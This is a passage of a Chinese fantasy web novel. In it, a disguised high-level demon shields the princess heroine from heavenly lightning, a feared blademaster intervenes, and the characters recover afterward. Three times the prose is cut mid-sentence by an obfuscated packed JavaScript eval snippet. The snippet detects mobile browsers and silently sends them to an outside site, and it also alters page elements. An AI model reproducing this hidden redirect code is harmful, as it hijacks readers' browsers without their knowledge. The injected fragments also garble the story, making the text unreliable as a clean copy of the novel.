百幽境算不算节点她没有特别清楚,但她这下却清楚了秦蓁的性子,面上冷冷淡淡的,实际死倔死倔,还跟这些宗门弟子们一起抽疯善心大发。 你一个凡人皇室来的人,跟这些修真界的土著们犟什么护佑苍生呢?苍生哪是那么好护的,纵然是天选的正道女主,意思意思杀几个大反派就行了,自有他人为你歌颂功勋,何必在这方拼命救这些不知名的谁呢? 旬鹊有些难过。 这时天雷又劈了下来,秦蓁再次跃起挥剑,触地时,旬鹊看见了她嘴角的血迹。 秦蓁没有再说话,她吃了颗丹药,专注望着灰暗的天。 旬鹊看了她一会儿,将她在道源宫学塾修习时用的剑召出,以剑聚灵画了个小结界,将鬼市门前的人们圈住,然后照常瞎编乱造:“这是掌门大叔教我的一个防护结界,但他说要到危急关头才能用,所以方才我没有画。” 她与秦蓁四目相对,旬鹊笑了笑:“阿蓁姐姐,要是这个结界破了,我们就真的得走啦。” 秦蓁笑:“小鹊。” 旬鹊心底更难过了。 但她也不太能说清原因。 她画的这个结界也不知道能挡几道天雷,她这样做也算小小忤逆了一下天道,只希望天道愿意给员工一点自由发挥的空间,她只是不想女主重伤,可不是想反啊。旬鹊心下嘀咕。 结界抵挡住了天雷,众人调息起来,吃丹药的吃丹药,打坐的打坐,但都是面色沉沉——他们心中大都清楚,若天雷不停,他们撑不住,百幽境的这些村民还是会死在天雷下。 “仙君。”旬鹊感到衣角被拉住,低头,是早上与她同时要梅子糕的女孩。 她还是那般小心翼翼的、怯怯的,但却说出与早上不同的话:“仙君,梅子糕给你。” 她眼神有些执拗,眼眶很红,但旬鹊没看见眼泪,她说:“仙君,我娘亲在村子里,已经死了,她吃不到了。我有把梅子糕护得很好,没有碎,给仙君你带走,你也、也记得护好,别碎了,碎了不好吃。” 旬鹊怔怔。 这个孱弱的、仅有炼气期的女孩,竟然没有死在一开始那道众人都没反应过来的天雷中,运气简直好得不得了。 像她从前一样,弱得要命,但也莫名其妙在一些比她强大的妖中活了下来,没有被撕碎。她感谢自己的好运。 女孩把梅子糕往她怀里一推,便回到那群村民中,村民们神情感激,眼中虽有绝望,但很平和,他们早已接受今日将死的结局。 旬鹊拿着梅子糕,觉得自己修为飙升的后遗症大抵还没完全恢复,她心绪杂乱,真正摸到自己的难过。 她觉得秦蓁其实说得对,她们不能死在这里,别的什么人难道就能死在这里吗? 她看着这些人,回忆渐渐清晰,她想起来,她当时能活下来,除了因为运气好,还因为有个很强大的女修护着她。 那个地方是小妖们的恶梦地,弱肉强食到毫无秩序,是天然的屠宰场,赶它们这些野生的小妖进笼,用厮杀决出有用的血统,原始野蛮。 她运气好,同她一起出生的小妖太多,她苟在小小角落,活了很久很久,在终于轮到她成为大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196831|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖的晚餐时,又碰巧遇上那位女修提剑斩来。她疯狂跑,疯狂跑,逃出生天。 那个强大女修杀了很多大妖,救了很多小妖,建立秩序,让它们过上像人修一样正常生活修习的日子,所有的妖都以为,她要成为它们的妖王了,它们喜欢这样一位妖王。 但她只是路过此地遇见不平顺手拔剑相救,救完了这些妖能安宁了,她就要离开了。 旬鹊偷偷跟着她,她随心随性,像漫无目的。她去过凡人村庄,去过暗渊魔域,去过修真境地……她去过天下。 她一路走,一路拔剑助人救人,她强大到这天下没有任何人能挡她的剑,这天下也没有她救不了的人。 她是那样耀眼、璀璨、朝气,吸引着旬鹊的目光,她一直跟着她。 直到有天她大抵觉得,天下太大,有些孤独了,问她:“你一直跟着我,怎么却从不问问我愿不愿意与你作伴?” 她是个不怎么通人性的小妖,只见过她杀人救人,以为这是责怪,颤颤巍巍问她是不是嫌她,要杀她。 女修笑了。那是柔和到能包容一切的笑。她问她叫什么名字,旬鹊说她叫小妖,她说这不是名字,于是旬鹊摇头说没有。 女修说:“我不太懂妖类,认不出你是什么妖,可你自己也不知道,你这么小一只,又有小翅膀,你叫‘鹊’怎么样?这个字在我们人修的世界里,意思是幸福吉祥。” 于是旬鹊有了名字。 她继续跟着她,她却说是她们作伴行天下。她说她要真正走遍这天下,她的剑要救天下所有的人,她心有大爱,也有这般实力,她会一直走下去。 但她也有寿元耗尽的一天。 纵使她是最强大的修士,也无法与天同寿,天下循环往复,永远都在,而万物终有死亡。 她死了。 旬鹊意识到这件事时,是她守着她沉睡的身体过了不知多少天后,有蚊蝇趴在她眼皮上,而她没有睁眼醒来。 旬鹊懵懵懂懂,便自己上路了,可她不知道该去哪里,因为她一直都是跟着她走。 于是她也漫无目的的走,杀一些人救一些人,修为一天天提高,她能救下更多的人。 可她没有她的人心,没有她的大爱,她只是被她吸引,学着她生活。 有天她顺手救下一个凡人女孩,女孩感激她,问她能不能告知姓名,她说:“我叫鹊。” 凡人女孩问她那姓氏呢?她不知道,答不出来,她说她叫鹊。 女孩嘀嘀咕咕修士难道和凡人的差异这般大嘛,竟然没有姓氏。 她突然想起,女修姓旬,脱口而出:“我叫旬鹊。” 凡人女孩笑着说这真是可爱的名字。 旬鹊感觉视线一片模糊,在那女孩惊讶疑问中,她抚上自己的眼,原来是在流泪。 于是死别的钝痛终于从她心口冒出,她明白了相伴、同行、死亡、与时间。 她又走过很多地方,这时她的修为也已至巅峰,将要飞升,但她依旧漫无目的的走了很远,杀人救人。 她怀念她。 那短暂的、美好的、珍贵的记忆,如涓涓流水般淌过心田,她伸手水中捞月,只看见清澈的自己。 于是她记了千万年。 千万年间,尔尔几瞬。 她渐渐长出一颗明晰的心脏,或许勉强也算人心。 那些久远记忆,朦胧到她已经忘了女修的样子,但她记得有她这样一个人。 “小鹊?怎么哭了?” 秦蓁温和的声音传来,她一手执着剑,一手拿着一瓶刚要递给她的丹药。 旬鹊没有回答她,放开压制,修为从金丹期,上涨到元婴期,接着化神、渡劫、合道…… 她在秦蓁震惊的眼里、周围众人被惊吓的声音中,到了飞升期。 旬鹊流着泪,很轻很轻的笑,说:“阿蓁姐姐,其实小鹊还挺厉害的,我能救很多人。” 35. 匕首、天雷、长刀 旬鹊召出一柄匕首。 一柄偏小的匕首,普普通通,没有任何亮眼的地方,这是她的武器。 她并不惯用剑,只不过道源宫多是剑修,她要上学塾,用剑最好。 这把小匕首是她刚诞生没多久时,从某具小妖尸体上拔下来的,她没有武器,便拔了它作武器,她不能手无寸铁。 匕首短小,好藏好拿,她被恐惧钉住不能动弹、直到被血盆大口猛咬出剧痛、爆开本能的求生意志时,只有这样一柄小匕首才能插进对方的咽喉。 这是最适合一只小妖的武器。 但这样的小匕首是没有什么剑意刀意的,无法作为劈散天雷的武器。 不过她还有飞升期的修为。 旬鹊聚灵,白光冲进雷云,瞬间,天光乍破,再没有一丝乌云和雷霆。 飞升期想破掉这样的天雷,还是很简单的,毕竟只是劈百幽境内这些凝神炼气期的人,林赴川不过元婴都能破掉,虽然那之后的天雷不要脸的加强到了元婴也破不掉的地步,但对于飞升期来说还是轻松的。 她唯一害怕,是这老天爷会不会给自己发红牌,降下九重天罚那样的天雷,那就很难抗了。 旬鹊等了几秒,天上没什么动静,似乎没有再劈天雷的征兆。 四周堪称寂静,旬鹊果断把自己修为压回金丹——断崖式骤降那种,然后往她身侧秦蓁的方向一倒:“阿蓁姐姐,小鹊好痛……” 秦蓁急急接住她倒下的身躯,她窝在秦蓁怀里柔柔弱弱咳了几声:“……难怪掌门大叔说要到危急关头才能用,好痛啊……咳……不过我就知道这法子真有用,真厉害咳咳……” 她说着说着,有血迹从她嘴角流出——倒不是受伤了,而是修为飙升又骤降的后遗症之一,仅仅吐一点血,堪称不痛不痒,在这时更是完美贴合了她所说的话。 她看着秦蓁眼里的心疼都要溢出,又给她喂丹药又给她渡灵力的,十分满意——勉强糊弄过去了,虽然女主不一定全信,但好歹她也不算直接爆马甲。 周围那些惊讶到了惊恐的声音也不用她管,女主在细细解释。 众人一听是肖涧川给亲传弟子传授的秘法,倒也信了七八分。道源宫掌门的名头就是好用。 但她余光一瞥,看见林赴川望了过来,若有所思,眼带探究,见她往外瞥,迅速盯紧了她,眼神锋利。 她直接一头扎进秦蓁怀里,装没看见。 心下咬牙切齿,就知道这些反派的嗅觉比狗还灵! 但这林赴川现今不过元婴,总不能窥见她身上的天道气息,只是这下除了苏逐鬼王,还有个未来魔头盯上她了。 旬鹊又把脸往秦蓁颈窝埋了埋,女主救命啊! 她窝在秦蓁怀里继续哼哼唧唧,怎么柔弱怎么来。 秦蓁抱着她,轻轻抚她发丝,那气息太过温和,旬鹊将头抬了起来,想看看秦蓁温柔的眼。 但她第一眼看见的,是日光中的一道旱雷。 旬鹊瞳孔一缩,迅速推开秦蓁,下一瞬雷声乍响,震耳欲聋。 天雷劈在了她身上。 旬鹊抹了抹嘴角的血。这下好了,不用装虚弱了,原来天道老板只是延迟高,不是脾气好。 这是九重天罚的雷,劈她来了。 但旬鹊不是太怕,飞升期修为又不是假的,她抗是能抗住的,就是痛。 于是她决定继续开演,努力拽住自己还没被完全掀飞的马甲。 她跌在地上,任她的血哗哗流,一副用秘法被反噬又被天雷劈得死去活来的可怜样子,等着这九重天罚雷劈完。 天罚的雷和其他雷不一样,专劈一人,且没有间歇的时间,旬鹊在雷光中垂着头,受罚态度端正,默默数着:一重,两重,三重,四重,五重,六重…… 第七重雷没有劈到她身上。 旬鹊抬头,被滚烫的鲜血溅红了眼。 秦蓁带着浑身的血,挡在她身前。 第七重天雷劈到秦蓁身上,她面色惨白,半张脸都染了血,那双惯是温和的眸子滞涩空洞,几息后才重绽潋滟,显出的却是难捱的痛色。 旬鹊张口,可她说不出话,只能感觉到自己在剧烈颤抖。 第八重雷即刻袭来。 “秦蓁!” 林赴川血红的眼怒气横生,带血剑气直直打向劈来的天雷,竟将第八重天雷打散一半。 但第八重雷还是有一部分劈了下来,秦蓁环着旬鹊,脸搭在了她肩上,旬鹊习惯性伸手想回抱她,却摸到秦蓁背后的血肉和骨骼。 她安安静静的,连气息都很轻微。 旬鹊终于能克制住颤抖,却还是有些哆嗦,她拉下秦蓁,两人换位,第九重雷劈到她身上。 她松口气,为秦蓁渡灵。 但她还是有些颤抖,她没想到秦蓁会过来。 天雷几乎一瞬一劈,秦蓁冲过来挡在她身前时,根本没怎么思考过。 还好,还好她其实是个飞升期,不是真的小侍女,她的灵力能护住她心脉保下她的性命,只是这般伤得养很久,她也要痛很久。 旬鹊努力压制自己的颤抖,让她扣在秦蓁手腕的指尖能稳稳搭住脉搏,为她渡灵。 她在心底骂了无数遍自己作为一只小妖骨子里的怯弱,但这真是该死的难以压制。 旬鹊盯着秦蓁惨白的脸,这张漂亮的脸因为疼痛显出些懵懂来,清透的眼中蓄满泪水,似乎脆弱得一触即碎。 旬鹊知道她大概痛得意识都有些涣散了,才克制不住生理泪水,那般金贵的皇室公主,练剑练得再狠,也没受过这般被剥去血肉的痛,而且劈下的还是九重天罚的雷。 旬鹊莫名来气,什么破天道!差点把自家女主劈死了! “你究竟是什么人。” 突然有人传音过来,旬鹊回神,看向那人——林赴川,他浑身是血,眼神暗到带了些戾气,身边几个孤鸿院弟子似乎是在方才天雷时拦住了他,正给他递丹药垫法宝治伤。 旬鹊没理,扭回头,专心致志给秦蓁渡灵疗伤。 这未来魔头现今不过元婴,竟然能把九重天罚的雷劈掉一半,堪称恐怖,装死为妙。 好歹自己站出来也是救了百幽境那些村民,看他现在这副大义凛然的样子,应该也不会当场对她发难,怀疑就怀疑吧。 旬鹊丧气,马甲岌岌可危。林赴川加上苏逐还有鬼王,凑齐三大魔头,召唤下一个大魔头得了。 林赴川大概也有些预料,果然没有什么动作,他吃了疗伤丹药后,也没过来,就待在了孤鸿院弟子那边,只是紧紧盯着她给秦蓁渡灵喂药。 空中许久都没有动静,似乎一切暂休,众人开始救治重伤的人们,村民们哭喊说着感谢大恩,又激动死局被打破他们活了下来,又悲痛家中被毁血亲不再,四周一时嘈杂起来。 段师姐等人焦急询问她们伤势,旬鹊说没事,她是肖掌门的亲传弟子,有很多保命法宝和丹药,叫他们放心去调息修复自己的伤,她没受什么大伤,秦蓁交给她就好。 道源宫几人倒是信她的,肖掌门收了个亲传弟子叫旬鹊,这个事也算道源宫的小热点,掌门的亲传没点保命本事才是奇怪。 旬鹊把人打发去疗伤,她也继续给秦蓁疗伤,这下换秦蓁窝在她怀里了,旬鹊难得见秦蓁有这般时候,无意识叹气一声。 “……没有那么疼了,我没事的。”秦蓁有些小的声音传来。 因为被渡着飞升期的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206289|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵力,秦蓁感觉好受了一些,意识也回来了些,她继续说话,但声音还是小小轻轻的:“……你跌在地上吐血,我怕你被天雷劈死……” 旬鹊在心里扇了自己两巴掌,再也不在秦蓁面前装可怜了。 她是真正信任自己。 旬鹊心下一酸,学着秦蓁从前那样,轻轻抚了抚她的发丝。 这时周围迅速暗了下来,旬鹊瞳孔一缩,不是吧,天道,又来啊?这一下子劈了多少雷了,没完了?太过分了啊,当真是天道不做人。 她抬头,众人也抬起头,头顶黑云密布,正在蓄势。 人群中不知是谁爆了句粗口,众人皆是惊愤,一次两次众人还是悲伤绝望,三次四次那鱼死网破也非是不可争。 众人聚灵,同样蓄势。 旬鹊看着天空,云层中跳动的雷光让她感受到熟悉的气息,这又是专劈一人的九重天罚的雷。 她骂了一肚子天道的坏话,扶好已能调息的秦蓁,待她坐稳,旬鹊说要把梅子糕还给早上的女孩,便朝村民的方向走去,却故意绕着那个女孩走,假装找不到人,越走越边缘。 天罚她自己抗就好,这次可别连累到秦蓁了,秦蓁那性子,看见自己又被劈,肯定不会坐以待毙。 旬鹊绕过了村民们,准备溜出鬼市门口这块地,找个小角落挨完天罚再回来。 这次天雷蓄势竟然这么久,不会要给她劈个大的吧? 旬鹊嘀嘀咕咕,刚要走出众人视野时,她莫名回头望向秦蓁的方向。 直见第一重天雷朝着秦蓁劈去。 旬鹊脑中嗡一声,血液凝固,接着极速倒流。她猛地爆出飞升期的修为灵力,拼了命朝秦蓁的方向赶去,夹着骇然怒气的惊恐让她的声音都有些扭曲,旬鹊大吼:“天道!” 她打出铺天灵力,竟没能打散这雷,仅是让其停滞一瞬,接着继续下劈。 恐慌袭遍旬鹊脑海,所幸在最后一刻她的指尖碰到了秦蓁衣角,旬鹊用力一拽,将秦蓁紧紧扯到身后,雷劈在她上。 旬鹊一下子吐了好几口血,心下震慑,这天雷恐怕连她这个飞升期也抗不了全部,这天雷和方才的那几道根本不在一个量级,这天雷——是为抹杀而来! 旬鹊大愕,还没能思索出什么,第二重雷就劈了下来,她带着秦蓁跌在地,口中的血都没能吐完,第三重雷急急劈下,旬鹊感觉自己的脑袋像被重重敲击,意识消失一瞬,再回笼时,看见秦蓁倔的眼,她聚起剑气勉力将旬鹊打飞了出去。 眼前白光乍现,旬鹊凄厉的喊叫道:“秦蓁——” 她被秦蓁的剑气打飞出去,立刻飞身上前也没能来得及,第三重雷劈在秦蓁身上。 她看见秦蓁侧倒在血泊,成了个血人,五官紧皱,肩臂可见莹莹白骨。 这雷一重又一重来得太快,几乎没有给人反应的时间,众人即刻聚灵也没能赶至雷霆中心,没能到秦蓁身旁。 四周尖叫声怒吼声杂乱,第四重雷已下劈至半空。 但比第四重天雷先到来的,是杀气。 杀气。 似无尽的杀气。疯狂压面而来,一刹袭卷此地,时间似乎都被逼得凝固,流云滞,人声咽,只听风声,也似被割裂声。 杀意刺骨,叫人自发的颤抖。 来人杀气先至,长刀再至,飒沓流星。一刀落尽震雷霆,沥沥苍茫,乾坤碎。 第四重天雷被这强硬杀气生生截断,再一刀,长空破晓。 刀收入鞘,来人已至秦蓁身旁,将她轻轻揽起。 秦蓁缓缓睁眼,落入一双怒起杀意、却余留温和的眸子。 有人叫出这人的名字,是惊吓过度到变了调的声音。 “祁诡!” 36. 不要给任何人渡灵 秦蓁醒来,是在安乐村客栈的客房里。 身上有些疼,但不是特别厉害,她能坐起,倒是起来后脑袋突然发晕,感觉一秒的时间被无限拉长,让她恍神许久。 直到旬鹊推开房门,很惊喜的喊她,秦蓁的意识才渐渐清晰,想起自己应该是被天雷劈得昏死过去了。 旬鹊欢喜的小跑到床前:“我看看你肩上的伤长好没有,大夫说醒来时应该好得差不多了的。” 秦蓁很顺从的侧过身体,任旬鹊将她的里衣解开,这时她才发现自己左肩上缠了几圈绷带。 旬鹊小心翼翼的拆下一些,秦蓁白皙的肩头露出,因为是新生血肉,肌理更加细嫩。 旬鹊松口气:“长好了就好。” 她将绷带全部拆下,把秦蓁的里衣束好,又问长问短,确定秦蓁现在没有特别不舒服的地方后,才笑起来。 不过没几秒她又撇下嘴角,说:“阿蓁姐姐,你以后不要帮我挡天雷,掌门大叔给了我好多保命法宝呢,小鹊不会有事的。” “你也帮我挡了。”秦蓁说。 旬鹊心头很软,秦蓁活得好好的,这真好。 她便继续瞎编乱造,说:“阿蓁姐姐以后不许这样了,该小鹊护你才对的,我那会儿看着虚弱是掌门大叔教的那个厉害秘法的后遗症,其实没事的,我真的可多保命法宝……” 秦蓁看着旬鹊絮絮叨叨,她便安安静静听着,并不点破什么,她知道旬鹊是后怕她被天雷劈死了。 不过…… 秦蓁扬起笑。 她就知道旬鹊是真心待她,她不是为让她失去一切而来。 旬鹊念叨完,看见秦蓁温柔中带了点点傲气的笑,因为重伤未愈,这丝笑轻点在苍白的面上,显得很有些绝艳。 这下从凤傲天女主变成病美人了。 她从秦蓁房里出来,在过道看见一身黑色劲装的祁诡。 这人倚在门边,恣意无双,目如寒星:“她如何了?肩上伤可长好了?” 旬鹊老实回答:“长好了,她状态还好,药也看着她吃了我才出来的。” 祁诡微微颔首,提刀回了隔壁他自己的房间。 旬鹊欲哭无泪。 她回想那天,恨不得缝住自己的乌鸦嘴,没事说什么集齐三个魔头召唤下一个魔头,这下真召成功了。 祁诡这个名字,那可真是“家喻户晓”的程度,任谁提起,周围人都要害怕得抖一抖——此人性子狂妄残暴,还没人能治得了他,他在江湖上的名声可谓是一片狼藉。 李家的人突然失踪——祁诡干的;赵家老人逝世——祁诡干的;沈家幼子没能被选进宗门——祁诡干的;张家丢了头牛——祁诡干的…… 虽然有些事实在离谱,但总之,修真界的各类恶事,都是祁诡干的。 毕竟大多数人都怕他得很,他的实力强劲和性子凶残都是真的。一个杀猪屠户曾说自己看见过祁诡剖人肠肚,手法那叫一个娴熟利落,一看就知道恶事没少干。 这人行事肆意妄为,难辨正邪,像是全然凭他心情,不高兴时血溅千尺,高兴时倒也行侠仗义。 传闻中,他初入江湖便以一把破影刀扬名天下,在九州大比中,战遍群侠,夺得魁首。大比一年一度,他连着打了三年,年年魁首,将许多人打得道心破碎。最后他扔下一句“太弱了,不打了”,之后再没参加过九州大比。 传闻中,修真界有一半的秘境都是被他毁去,有人斗胆去质问他,被他一刀抹了脖子:“想毁便毁了,就像你,我想杀便杀了。” 传闻中,他一人一刀闯去魔域,将那魔尊打成重伤,又屠了魔宫所有人,他自己却仅受了点轻伤。若不是他重创了魔域,让那魔尊元气大伤,后面各宗门围剿魔域不会那么顺利。 但这人被问以你之实力为何不杀那魔尊时,他却说:“魔尊跟我又没仇,你们要报仇,自己去啊。” 后来这人大抵是因为打遍天下无敌手了,觉得没劲,退隐江湖了。 所以前几日他突然出现截断天雷,救下秦蓁和这百幽境的人,实在出乎意料。 现今外头“魔头祁诡重出江湖,一刀斩退天雷”的传闻已经愈演愈烈,今日旬鹊听见已经传到“魔头祁诡重出江湖,要灭世灭天道”这个版本了。 但祁诡大抵还真有这个实力。 旬鹊为自己艰难的任务生涯感到一阵悲哀,自己身上的天道气息在他眼里定是无所遁形的,所幸这人狂得很,应是不屑去杀她这个打工小喽啰。 这人在剧本中后来也没出现,是真的退隐了,剧情中虽有他的一些传闻,却也仅是一笔带过。 这祁诡,今日还特意找她,说大夫判断秦蓁今日会醒,叫她去看看秦蓁肩上伤好没有。 旬鹊对祁诡就像对天道老板一样恭敬,时刻牢记人在屋檐下不得不低头。而且这几日她本来也是天天跑秦蓁那儿看她醒没醒,只是今日得跟祁诡汇报一下,完全小问题。 旬鹊安慰自己,莫慌莫慌,剧情小崩而已、小崩而已。 她去到客栈外的小院,将秦蓁醒来这个消息也告知了段师姐等人,众人皆是松口气,但面色依旧忧心忡忡——旬鹊很理解,祁诡在这儿,谁的脸色都好不了太多。 但她私心里,对祁诡是感激的。 若不是他截断天雷…… 旬鹊自己不一定能赶得上,赶上了那般天雷她也不一定能全抗完,秦蓁会很危险。 旬鹊踹了脚身旁的小院假石。 天道你个神经病。 * 秦蓁再次醒来,身上的疼痛减轻许多,她能下地走动了。 秦蓁发觉自己皮外伤似乎都好了,仅剩内里的疼痛,大概经脉也有些问题,她现在一丝灵力都聚不出。 她是第一次抗天雷,没想到竟这般难抗。 自己结金丹时的天雷应该是被洞府的结界挡住,她听见雷声,但轻轻松松便渡了劫结了金丹。 秦蓁在房内走了几圈,倒还顺畅,意识也很清晰,并未像之前那次醒来一样头晕目眩。 她推开房门,想出去走走。 “醒了?你还好吗?” 房门才半开,她的脚都还未踏出,便听见一道低沉的男音。 秦蓁循声望去,男人一身劲装,身形修长漂亮,他神情浅淡,却有着张俊美风流的脸,眼中锋锐虽已收敛,仍有疏狂之气从骨中透出。 她想起来,自己昏死过去前,看见的似乎就是这人的一双眼。 “我叫祁诡,刀客,路过百幽境顺手拔刀相助,不必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223659|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢。你身上还很疼吗?” 秦蓁还没开口回答,祁诡就递了个小玉瓶给她:“好药,吃下,身上不会那么难受。你经脉还得再养养才能聚灵,早日恢复到身体能承受传送阵法,回宗门去养伤。” 秦蓁有些木愣,这人说话的语气不算客气,结果行动上却急急递药,也是怪得很。 她伸手从祁诡掌中拿起小玉瓶,指尖轻轻触到他掌心一瞬,被他突然拉住手腕,她惊了一下,险些掉了小玉瓶。 祁诡紧扣她的手腕,眼神幽深,却泄出一丝锋芒,问道:“你给人渡灵了?” 秦蓁挣了下,没挣动,祁诡筋骨凸显的手很轻易的扣住她手腕,她甚至感觉他手骨旁的细小青筋在微跳。 祁诡紧盯着她,两人距离并不算太近,但他身上的气质深厚,又比她高出许多,还是让她感受到了男人的压迫感。 与在灵兽山被林赴川扣住手腕那次不同,虽然那时因林赴川下意识的反扑,两人距离很近,但林赴川瞬间抑制了狠戾,没让她觉得不适。 且林赴川平日虽是沉稳,身上却依旧带着少年气,而祁诡的气势太强,哪怕刻意收敛,这人只要站在那里,就是不容忽视的,侵略性十足。 秦蓁皱眉,这人虽然救了他们,但也不该这么…… 她抿了抿唇:“……你……松手。” 祁诡一滞,却是没松,但语气稍稍好了一些,说:“你给谁渡灵了?渡灵会染上他人因果,不要随意给人渡灵。” 秦蓁又挣了下,实在挣不动,语气有些冷的答他:“给旬鹊和林赴川渡过灵,他们重伤,我当然得救。” 祁诡眉头紧锁:“你……修为还未到渡劫,不要给任何人渡灵。” 说完他松开秦蓁。 秦蓁白皙的手腕上一大截红印刺目,像雪中梅,艳得要命,直直勾走二人视线,双方皆是一顿,秦蓁迅速收回手,将袖子拉了拉盖住手腕,祁诡也移开目光,默不作声。 气氛一时有些怪异的静。 “你可知,未到渡劫却能渡灵是为何?”秦蓁想了想,还是开口问。 旬鹊不会告诉自己,其他人大概也不知道,师门又暂时联络不上,虽然自己当时意识涣散,不是太清楚后面的事,但这人能从那等天雷中救下他们,实力一定强劲,或许明了。 祁诡答她:“你的心境够,便能渡灵,但日后不要给任何人渡灵,谁都不行。沾染他人因果,很麻烦,对你无益。” “竟是心境……?”秦蓁喃喃。 祁诡没接话,又重复一遍不要给任何人渡灵,秦蓁不是太喜他,态度有些敷衍的应声。 但一想到是这人救了众人,她压了压手腕,也没有很痛。还是真心实意向他道了谢。 “不谢。” 祁诡瞥见她压手腕的小动作,似乎想说什么,但他沉默一下,还是未开口,只颔首示意,便回了自己房间。 秦蓁见他房间竟就在自己隔壁,而自己也是刚一推门他就急急递药过来,倒是散去了心底的那丝不快,这人虽然有些怪,但确是好心的,那般迫人,大抵也有他气势过强的原因。 秦蓁不去在意了,抬脚想往楼下走去,转眼却看见林赴川不知何时站在了下楼的阶梯上,目光微暗,注视着她的方向。 37. 学艺不精全是凶卦啊! 秦蓁惊讶:“林赴川。” 林赴川同之前一样,披着黑白道袍,未束发。他走上前,笑道:“这下是一起养伤了,确是搭档。” 秦蓁也笑:“我还好,你如何了?你先前伤得也重,还能聚灵吗?” 林赴川摇头:“无法聚灵,不过不算太严重,花些时间能养好。你是要去找你们宗门的人吧?他们都在客栈外的小院。” 秦蓁于是跟着林赴川下楼,一路聊了些近几日百幽境的变化。 那一连片的村庄被天雷劈成了废墟,鬼市门前的几个客栈成了众人唯一的去处,伤重的人在客栈养伤。 活着的村民中安乐村的人最多,众人商讨一番,决定先重建安乐村。 修士们施法帮忙,花了一礼拜时间,将安乐村重建好,一部分伤民搬来安乐村的客栈,他们几人则住在旁边特意建的一座小院里。 其他的村子也在慢慢重建,村民们每天都很忙碌,家中成了废墟,许多亲人不在,叫他们很难过,但并不绝望,他们见过那样迫人的天雷,能从中活下来已是不易,更别提这是许多人重伤换来的打破死局。 那股协力不屈的意志叫他们也有信心活着,百幽大变,于他们来说,这片废墟地是希望的重生地。 自己昏睡竟已快一月了。 秦蓁叹道。不过身上倒不觉得僵硬酸痛,大抵因为旬鹊每日都给她渡灵。 “秦蓁……你……”林赴川犹豫了下,还是问:“你跟祁诡从前认识吗?” 秦蓁摇头:“大抵是个热心的江湖客。” 林赴川欲言又止,微皱着眉,目光游离。 秦蓁见他这样,主动问道:“怎么了?” 林赴川半阖着眼,拿出一个小玉瓶递来:“……我的药不如他的好,但还是想给你。” 秦蓁微讶,正要说什么,林赴川立刻道:“别拒绝。” 他顿了下,继续说:“或许以后有机会用上的。” 林赴川微微垂着头,没有与她对视,他披散着的发丝被风吹起几缕,竟叫秦蓁莫名看出了点难言自惭来。 她把到嘴边的那句“你伤得也不轻留着自己用吧”憋了回去,接过道谢。 小玉瓶拿到手里,秦蓁发觉瓶身竟然温温的,她一愣,想起林赴川现今也无法聚灵,用不了储物戒,这小玉瓶是他一路攥在手里的。 玉瓶小,他大抵是紧紧攥在手心,才染上了他的体温。 秦蓁一时也无言,跟着林赴川穿过一小片青青竹林,来到小院门口。 “好好好,下一个到你!” 刚走进小院,便听见一阵嬉笑声,是孤鸿院几个小弟子在与陈师兄玩闹。 陈师兄抛着三粒石子,笑逐颜开,小弟子们有的抱头做哭嚎状,有的握拳两眼放光,还有几个急急扯着陈师兄衣摆,围着他吵吵闹闹。 陈师兄看见两人,立刻起身走来,指了指手中石子,弯眼笑道:“林兄,秦师妹,来算一卦?” 林赴川熟练的推拒,陈师兄哄劝几句未果,一脸有所预料的表情,将目光转向了秦蓁:“秦师妹没来学塾上过课,应该还不会卜算吧?来来来,陈师兄给你算一卦!” 秦蓁迟疑,围着陈师兄的几位孤鸿院小弟子却兴奋道:“秦师姐也算算吧!秦师姐重伤初愈,要是摇个好卦就好了!” “对对,秦师姐算个吧,下一个再到我!” 小弟子们叽叽喳喳,秦蓁见他们这般推崇,也起了点兴趣,便应下。 陈师兄将三粒石子抛了三次,开始掐指算卦,几位小弟子紧张的看着他,秦蓁也好奇,她只知道师父会卜卦,但没见他在自己面前算过。 结果陈师兄算了半天,都没算出,他目露疑惑,有些摸不着头脑。 “要抛六次石子。” 易师姐从几人身后冒出,冷不丁说了一句。 陈师兄争辩:“李长老说平日算卦抛三次就成的。” 易师姐跟秦蓁招呼完,怼他一句:“看你算了半天还没算出,学艺不精啊,你还是乖乖抛六次吧。” 陈师兄支支吾吾,便乖乖抛了六次,再掐指算。 许久他停下掐算,面色凝重,有些迟疑道:“大凶。” 小弟子们的嬉笑声顿歇,众人安静一瞬。 “早说了陈师弟你学艺不精,你看,你给修为高于你的人算的都是大凶,又掐不出因果,回去真该叫李长老重新考核你的卜数课。”易师姐撇嘴道。 陈师兄不太好意思的对秦蓁说:“抱歉啊,秦师妹,易师姐说得对,我卜数课学得不好,应是没算准……” 